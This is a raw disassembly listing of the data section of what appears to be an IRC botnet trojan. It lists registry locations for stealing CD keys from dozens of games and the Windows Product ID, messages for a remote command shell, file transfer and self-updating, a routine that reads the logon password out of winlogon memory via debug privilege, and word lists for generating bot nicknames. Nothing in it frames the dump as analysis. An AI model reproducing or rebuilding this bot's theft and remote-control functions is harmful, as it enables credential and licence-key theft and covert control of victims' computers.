		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
aSoftwareElectr	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
aSoftwareElec_0	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
aSoftwareElec_1	db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
aSoftwareElec_2	db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
aSoftwareElec_3	db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
aSoftwareElec_4	db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
aSoftwareElec_5	db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
aSoftwareElec_6	db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
aSoftwareElec_7	db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
aSoftwareElec_8	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
aSoftwareElec_9	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
aSoftwareEle_10	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
aSoftwareEle_11	db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
aSoftwareEle_12	db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
aSoftwareEle_13	db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
aSoftwareEle_14	db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
aSoftwareEle_15	db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
aSoftwareEle_16	db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
aSoftwareEle_17	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
aSoftwareEle_18	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
aSoftwareEle_19	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
aSoftwareEle_20	db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
aSoftwareIgi2Re	db 'Software\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
aSoftwareUnreal	db 'Software\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
aSoftwareUnre_0	db 'Software\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:004368F4o
aCdkey_0	db 'CDKey',0            ; DATA XREF: .data:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_4368ECo
		align 4
; char asc_437AEC[]
asc_437AEC	db '=',0                ; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		align 10h
; char asc_437AF0[]
asc_437AF0	db '-'                  ; DATA XREF: sub_415A30+2Bo
		db 3, 34h, 2
		dd 656B6463h, 3027379h,	7325202Dh, 7325203Ah, 0
; char asc_437B08[]
asc_437B08	db '-'                  ; DATA XREF: sub_415C5A+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
; char asc_437B3C[]
asc_437B3C	db '-'                  ; DATA XREF: sub_415C5A+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
; char asc_437B6C[]
asc_437B6C	db '-'                  ; DATA XREF: sub_415C5A+47o
					; sub_415E1B+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
; char asc_437B90[]
asc_437B90	db '-'                  ; DATA XREF: sub_415E1B+362o
					; sub_4161BD+156o
		db 3, 34h, 2
		dd 2636364h, 73202D03h,	656B636Fh, 72652074h, 726F72h
; char asc_437BA8[]
asc_437BA8	db '-'                  ; DATA XREF: sub_415E1B+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
; char asc_437BD4[]
asc_437BD4	db '-'                  ; DATA XREF: sub_415E1B+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_415E1B+1CBo
		dd 74756Fh
; char dword_437C10
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_415E1B+16Ao
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: sub_415E1B+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: sub_415E1B+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: sub_415E1B+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
; char asc_437C90[]
asc_437C90	db '-'                  ; DATA XREF: sub_4161BD+1D1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
; char asc_437CBC[]
asc_437CBC	db '-'                  ; DATA XREF: sub_4161BD+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: sub_4161BD+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
; char aAB[]
aAB		db 'a+b',0              ; DATA XREF: sub_4161BD+97o
unk_437D0C	db  2Dh	; -		; DATA XREF: sub_4161BD+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
; char asc_437D3C[]
asc_437D3C	db '-'                  ; DATA XREF: sub_4163FA+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: sub_4163FA+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
; char asc_437D9C[]
asc_437D9C	db '-'                  ; DATA XREF: sub_4163FA+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
; char asc_437DE0[]
asc_437DE0	db '-'                  ; DATA XREF: sub_4163FA+358o
		db 3, 34h, 2
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
		dd 73h
; char asc_437DFC[]
asc_437DFC	db '-'                  ; DATA XREF: sub_4163FA+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
; char asc_437E34[]
asc_437E34	db '-'                  ; DATA XREF: sub_4163FA+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
; char asc_437E5C[]
asc_437E5C	db '-'                  ; DATA XREF: sub_4163FA+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
; char asc_437E88[]
asc_437E88	db '-'                  ; DATA XREF: sub_4163FA+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: sub_4163FA+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
; char asc_437ED8[]
asc_437ED8	db '-'                  ; DATA XREF: sub_4163FA+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
; char aFailed[]
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
; char aSkb[]
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
; char asc_437F40[]
asc_437F40	db '-'                  ; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
; char asc_437F7C[]
asc_437F7C	db '-'                  ; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
; char aA_1[]
aA_1		db 'A:\',0              ; DATA XREF: sub_416C29:loc_416C6Eo
; char asc_437FBC[]
asc_437FBC	db '-'                  ; DATA XREF: sub_416CAE+C8o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
		dd 6C696620h, 7365h
; char asc_437FDC[]
asc_437FDC	db '-'                  ; DATA XREF: sub_416CAE+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
; char asc_438004[]
asc_438004	db '-'                  ; DATA XREF: sub_416DC9+107o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
		dd 73255Ch
; char aS_3[]
aS_3		db '%s\*',0             ; DATA XREF: sub_416DC9+1Ao
		align 4
; char asc_438028[]
asc_438028	db '-'                  ; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
; char asc_43805C[]
asc_43805C	db '-'                  ; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
; char asc_4380C0[]
asc_4380C0	db '-'                  ; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_416F1B+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_416F1B+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
; char aMsgina[]
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
; char aNwgina[]
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
; char aWinlogon[]
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
; char asc_438244[]
asc_438244	db '-'                  ; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_438294[]
asc_438294	db '-'                  ; DATA XREF: sub_4175EA+E1o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char *off_4382E8
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_5		; "s"
		dd offset aD_0		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC_0		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM_0		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
; char *off_4385E8
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC_0		; "c"
		dd offset aD_0		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset a_		; "_"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset aM_0		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_5		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset byte_43D808
		dd offset byte_43D808
		dd offset a___0		; "_|_"
		dd offset byte_43D808
		dd offset byte_43D808
		dd offset byte_43D808
		dd offset byte_43D808
		dd offset dword_438E44
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_3		; "^^^f^"
		dd offset dword_438E74
		dd offset byte_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43D808
		dd offset byte_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43D808
		dd offset byte_43D808
		dd offset dword_438E28
		dd offset byte_43D808
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot_0	; "tot"
		dd offset aLol		; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset a4u		; "|4u|"
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: .data:0043877Co
dword_438784	dd 7535h		; DATA XREF: .data:00438778o
a4u		db '|4u|',0             ; DATA XREF: .data:00438774o
		align 10h
a4you		db '{4you}',0           ; DATA XREF: .data:00438770o
		align 4
a4us		db '|4us|',0            ; DATA XREF: .data:0043876Co
		align 10h
aSex4free	db '|sex4free|',0       ; DATA XREF: .data:00438768o
		align 4
